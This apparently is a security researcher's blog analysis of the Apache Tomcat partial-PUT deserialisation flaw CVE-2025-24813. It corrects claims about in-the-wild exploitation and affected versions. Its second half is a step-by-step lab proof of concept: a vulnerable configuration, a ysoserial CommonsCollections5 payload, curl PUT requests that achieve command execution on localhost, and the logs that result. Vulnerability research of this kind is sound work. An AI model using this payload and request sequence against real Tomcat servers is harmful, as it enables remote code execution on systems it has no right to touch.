CVE-2025-24813 - One Guard Lies, One Tells the Truth
CVE-2025-24813 - Apache Tomcat RCE Vulnerability Analysis
Analysis
I had the same feeling during the log4shell saga. During those few weeks in 2021, many talented people were sharing lots of valuable information, but some were sharing misinformation without verifying. That made the defenders wasting time to create workarounds (WAF rules) for supporting unnecessary payload formats. But at least it was a true cyber crisis where assuming the worst was warranted and there was not enough time to process all those information. The information exists in the Internet about this Apache Tomcat vulnerability is also similar. Strangely it seems even the information shared by the original source is also not fully accurate (or is easy to misinterpret). This reminds me of the ancient story about two guards where one lies and other tells the truth.
So I first begin this article by clearing few misconceptions around this vulnerability. Then I will explain how to decide whether a tomcat instance is vulnerable or not, then finish it with the details of a proof-of-concept done to prove older tomcat versions are also vulnerable. I will only address the Remote Code Execution possibility using this CVE, not the Information disclosure or Tampering (at least not yet).
Was there any successful exploits detected in the wild?
(Update on 02-APR-2025: it seems so as CISA has now added this to CISA KEV on 01st of April.)
Wallarm security was the first to report that they detected an exploit of this CVE in the wild. Then you see almost of all other articles who reported about exploitation of this CVE were actually repeating the claims by Wallarm, without adding any original information. This lead to the question whether this CVE has been actually used by the attackers to successfully exploit any vulnerable instance in the tomcat. Then why hasn’t CISA added this to its Known Exploited Vulnerability (KEV) list yet? (Update: This CVE has been added to CISA KEV now on 01st of April.) If you go back to the original report from Wallarm about the detection of this CVE exploit, you will see that they have not detected a successful exploit. What they have detected (and blocked) is an attempt to exploit this CVE and their firewall has blocked that attack, means a failed exploit attempt. That article does not have any indication to say it was a successful exploit. Also, they mention only about a one condition need to make Tomcat vulnerable to the CVE, instead of all four conditions. (Although the article does not prove that the exploit was successful, at least it proves Wallarm security tool helps to block 0-day deserialisation vulnerabilities before even knowing the details of CVE or payloads.)
Then Apache Tomcat team also have explained that the it is rare to have tomcat instances with all the vulnerable conditions. (See the Update at the end of the Register article.)
"Given the prerequisites for an Apache Tomcat installation to be vulnerable to CVE-2025-24813, the Tomcat project is of the view that the vast majority of Tomcat installation will not be affected," Mark Thomas, one of the project management committee members for the Apache Tomcat project, told The Register.
So if you search further, you will find very few security companies (e.g. Rapid7) had actually tried to reproduce the behaviour accurately and interpret the situation accurately. Rapid7 article was the first article I found with the accurate details about this vulnerability. Then I found an article from GreyNoise saying they detected exploit attempts, and with a link to the monitoring data.
“Attackers are actively exploiting Apache Tomcat servers by leveraging CVE-2025-24813, … Fortunately, GreyNoise can confirm exploit traffic is currently limited to naive attackers utilizing PoC code.”
But still the wording used is “exploited”, although there is no indication in the article about any successful exploitation yet.
Maybe that is why this CVE is not yet added to the CISA KEV list (Update: added to CISA KEV on 01st of April). Still, if your tomcat instance has these vulnerable conditions due to your bad luck, then it is very easy to exploit automatically in a single step.
Are the only vulnerable tomcat versions are 9.x, 10.x, 11.x?
If you check the history of the executePartialPut function in the tomcat source code, you can see it has been added at least in 2019. But the official Apache tomcat advisory only mentions that tomcat 9.x, 10.x, and 11.x as the impacted versions.
Then this information is repeated in NVD. Worst, the many of detection scripts/tools available in the Internet first check the version of the tomcat, if the version is not one of the versions mentioned in the official Apache tomcat security advisory, then those tools incorrectly report that instance as not vulnerable.
But if the function had been added in 2019, and there was no major changes to that function after that, why aren’t the older versions such as 7.x and 8.x reported as vulnerable? Answer is 7.x and 8.x branches are already End-of-life. Apache does not provide support for End-of-life versions. That is why 7.x and 8.x versions are not mentioned in the vulnerable version lists of the official Apache tomcat security advisories. Although Apache has stopped support for 7.x and 8.x branches, we know in reality people still use those versions for one or other reason.
To prove this, I have done a proof-of-concept using an older tomcat version. You can read the details of the proof-of-concept at the end of this article.
So the bottom line is, if you have a tomcat 7.x or 8.x instance, those can be vulnerable to this CVE. Therefore, you still need to check whether vulnerable conditions exist in those tomcat instances also.
Is it really needed to execute two steps to exploit?
Most of the articles in the Internet mentions that the vulnerability exploitation is a two step process. According to these articles, first the attacker uses a PUT request to send the payload, then attacker has to send a GET request to trigger the payload.
But it turned out the second step is optional. If you wait for few seconds, Tomcat does the second step automatically for you. There is a background process (PersistentManagerBase.processExpires
) in tomcat which load session data every few seconds (normally every 60 seconds) to see whether it needs to expire that session. Therefore, after sending the PUT request with the payload, you only have to wait for few seconds for payload to trigger, without any additional action.
Why do I get a different response code than what I see in other POCs?
It turned out there are at least 3 similar scenarios which produce different HTTP response codes.
HTTP 409
- When the targeted path contains a slash (e.g. testwithslash/session). This is the scenario mentioned in the CVE and public POCs.HTTP 201
- For the first request targeting a path which contains a dot (e.g. testwithdot.session)HTTP 204
- For the repeat of the previous request targeting same path.
Is my tomcat vulnerable?
Less likely, but still you need to check whether vulnerable conditions exist in your tomcat instances, as it is very easy to exploit the CVE to gain remote code execution under those vulnerable conditions. Remember, the 7.x and 8.x tomcat versions are also vulnerable although not mentioned in the official annoucements.
Following diagram shows the vulnerable conditions. Two of those conditions are not enabled by default. One condition is enabled by default (partialPut support). The last condition is most likely to be true (the existence of a deserialization gadget library in the classpath). All four condition must be true to make the tomcat instance vulnerable to this CVE.
Note: Even without a vulnerable JRE version or a deserialisation gadget in the classpath, and an attacker can at least make tomcat server does a DNS lookup if all other 3 conditions are satisified (or there maybe deserialisation gadgets which are unknown to the public).
Proof-of-Concept on Tomcat 7.0.99
Following sequence diagram explains how this vulnerability works under different scenarios.
You can either stop here, or continue to the next section that contains the technical details on recreating the proof-of-concept.
Preparing the environment
For this, I spun up a new instance of a Ubuntu VM.
Install Java
apt update
apt install openjdk-11-jdk-headless
java --version
Install tomcat 7.0.99
cd /tmp
wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.99/bin/apache-tomcat-7.0.99.tar.gz
tar xzvf apache-tomcat-7.0.99.tar.gz -C /opt/tomcat --strip-components=1
rm apache-tomcat-7.0.99.tar.gz
3. Make the Default servlet writable.
First, open the conf/web.xml for editing.
nano /opt/tomcat/conf/web.xml
Then, update the DefaultServlet definition, by adding the section shown in bold text.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
4. Change the session persistence mechanism to FileStore
First, open the conf/context.xml.
nano conf/context.xml
Then, update the Context definition, by adding the section shown in bold text.
<Context>
<!-- Default set of monitored resources -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
<!-- Uncomment this to enable Comet connection tacking (provides events
on session expiration as well as webapp lifecycle) -->
<!--
<Valve className="org.apache.catalina.valves.CometConnectionManagerValve" />
-->
</Context>
copy the common collection library to
/opt/tomcat/lib
directory. (Note: even without a deserialization gadget, an attacker can make the Tomcat trigger a DNS lookup usingURLDNS
payload type ofysoserial
tool. I have tested following POC using that payload also.)
cd /opt/tomcat/lib
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
start the tomcat
cd /opt/tomcat bin/startup.sh
Preparing the payload
Prepare the payload using ysoserial.
download ysoserial tool (or git clone the ysoserial repo, then build the jar using maven)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
create the payload, convert it to base64, and store it in a bash variable. This payload will execute the command ‘touch /tmp/pwndtomcat’ when during the deserialisation. Payload type CommonsCollections1 did not work due to JDK incompatibility. That is the reason for using CommonsCollections5 instead.
payload=`java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'touch /tmp/pwndtomcat' | base64 -w0`
check the payload length
printf ${payload} | base64 -d -w0 | wc -c 2020
Execution
Note: Scenario 1 and 2 produce the same output as the scenario 3. But seems the scenario 3 is the one directly matches to the details (e.g. Path Equivalence) in the CVE and public POCs.
Scenario 1: Using a dot in the file path
Request sent with the payload
printf ${payload} | base64 -d -w0 | curl -v -X PUT -H "Content-Range: bytes 0-2019/2100" "http://localhost:8080/testwithdot1.session" --data-binary @-
> PUT /testwithdot1.session HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.9.1
> Accept: */*
> Content-Range: bytes 0-2019/2100
> Content-Length: 2020
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 2020 bytes
< HTTP/1.1 201 Created
< Server: Apache-Coyote/1.1
< Content-Length: 0
< Date: Sat, 29 Mar 2025 12:28:11 GMT
<
file(s) created:
watch "find -type f -name *.session"
./webapps/ROOT/testwithdot1.session
./work/Catalina/localhost/_/.testwithdot1.session
Note: The file in the “./work/Catalina/localhost/_“
directory is the one processed by the session manager. It is deleted in few seconds by the session expiry background process. The file created inside “./webapps/ROOT/”
directory is not deleted by that process. It is the reason for getting a different response for subsequent attempts of the same HTTP request.
log:
The log shows the session manager background process has deserialized the content of the payload we sent. The command has been successfully executed during the deserialization of the payload. Then this process tries to cast the deserialized data to a variable of a Session object, and throws a ClassCastException.
tail -f logs/localhost* -n 200
==> logs/localhost_access_log.2025-03-29.txt <==
127.0.0.1 - - [29/Mar/2025:12:37:35 +0000] "PUT /testwithdot1.session HTTP/1.1" 204 -
==> logs/localhost.2025-03-29.log <==
Mar 29, 2025 12:38:29 PM org.apache.catalina.session.StoreBase processExpires
SEVERE: Session: .testwithdot1;
java.lang.ClassCastException: class javax.management.BadAttributeValueExpException cannot be cast to class java.lang.Long (javax.management.BadAttributeValueExpException is in module java.management of loader 'bootstrap'; java.lang.Long is in module java.base of loader 'bootstrap')
at org.apache.catalina.session.StandardSession.readObject(StandardSession.java:1586)
at org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:1075)
at org.apache.catalina.session.FileStore.load(FileStore.java:251)
at org.apache.catalina.session.StoreBase.processExpires(StoreBase.java:171)
at org.apache.catalina.session.PersistentManagerBase.processExpires(PersistentManagerBase.java:462)
at org.apache.catalina.session.ManagerBase.backgroundProcess(ManagerBase.java:653)
at org.apache.catalina.core.ContainerBase.backgroundProcess(ContainerBase.java:1483)
at org.apache.catalina.core.StandardContext.backgroundProcess(StandardContext.java:6063)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1676)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1686)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1686)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1654)
at java.base/java.lang.Thread.run(Thread.java:829)
Results of the command execution:
We can see the result of the execution of ‘touch /tmp/pwndtomcat’ command below.
Scenario 2: repeat the same request
printf ${payload} | base64 -d -w0 | curl -v -X PUT -H "Content-Range: bytes 0-1407/1800" "http://localhost:8080/testwithdot1.session" --data-binary @-
Only difference is the HTTP response code.
> PUT /testwithdot1.session HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.9.1
> Accept: */*
> Content-Range: bytes 0-1407/1800
> Content-Length: 1408
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 1408 bytes
< HTTP/1.1 204 No Content
< Server: Apache-Coyote/1.1
< Date: Sat, 29 Mar 2025 12:34:07 GMT
Scenario 3: using a slash in the file path
This is the scenario explain in the description of the CVE and other public POCs of this CVE.
Request sent with the payload:
printf ${payload} | base64 -d -w0 | curl -v -X PUT -H "Content-Range: bytes 0-2019/2100" "http://localhost:8080/testwithslash1/session" --data-binary @-
> PUT /testwithslash1/session HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.9.1
> Accept: */*
> Content-Range: bytes 0-1407/1800
> Content-Length: 1408
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 1408 bytes
< HTTP/1.1 409 Conflict
< Server: Apache-Coyote/1.1
< Content-Type: text/html;charset=utf-8
< Content-Language: en
< Content-Length: 653
< Date: Sat, 29 Mar 2025 12:43:46 GMT
<
Files created:
find -type f -name *.session
./work/Catalina/localhost/_/.testwithslash1.session
Note: this time, there is no file created in “./webapps/ROOT”
directory.
Logs:
The log shows the session manager background process has deserialized the content of the payload we sent. The command has been successfully executed during the deserialization of the payload. Then this process tries to cast the deserialized data to a variable of a Session object, and throws a ClassCastException.
==> logs/localhost_access_log.2025-03-29.txt <==
127.0.0.1 - - [29/Mar/2025:12:43:46 +0000] "PUT /testwithslash1/session HTTP/1.1" 409 653
==> logs/localhost.2025-03-29.log <==
Mar 29, 2025 12:44:29 PM org.apache.catalina.session.StoreBase processExpires
SEVERE: Session: .testwithslash1;
java.lang.ClassCastException: class javax.management.BadAttributeValueExpException cannot be cast to class java.lang.Long (javax.management.BadAttributeValueExpException is in module java.management of loader 'bootstrap'; java.lang.Long is in module java.base of loader 'bootstrap')
at org.apache.catalina.session.StandardSession.readObject(StandardSession.java:1586)
at org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:1075)
at org.apache.catalina.session.FileStore.load(FileStore.java:251)
at org.apache.catalina.session.StoreBase.processExpires(StoreBase.java:171)
at org.apache.catalina.session.PersistentManagerBase.processExpires(PersistentManagerBase.java:462)
at org.apache.catalina.session.ManagerBase.backgroundProcess(ManagerBase.java:653)
at org.apache.catalina.core.ContainerBase.backgroundProcess(ContainerBase.java:1483)
at org.apache.catalina.core.StandardContext.backgroundProcess(StandardContext.java:6063)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1676)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1686)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.processChildren(ContainerBase.java:1686)
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1654)
at java.base/java.lang.Thread.run(Thread.java:829)
Results of the command execution:
We can see the result of the execution of ‘touch /tmp/pwndtomcat’ command below.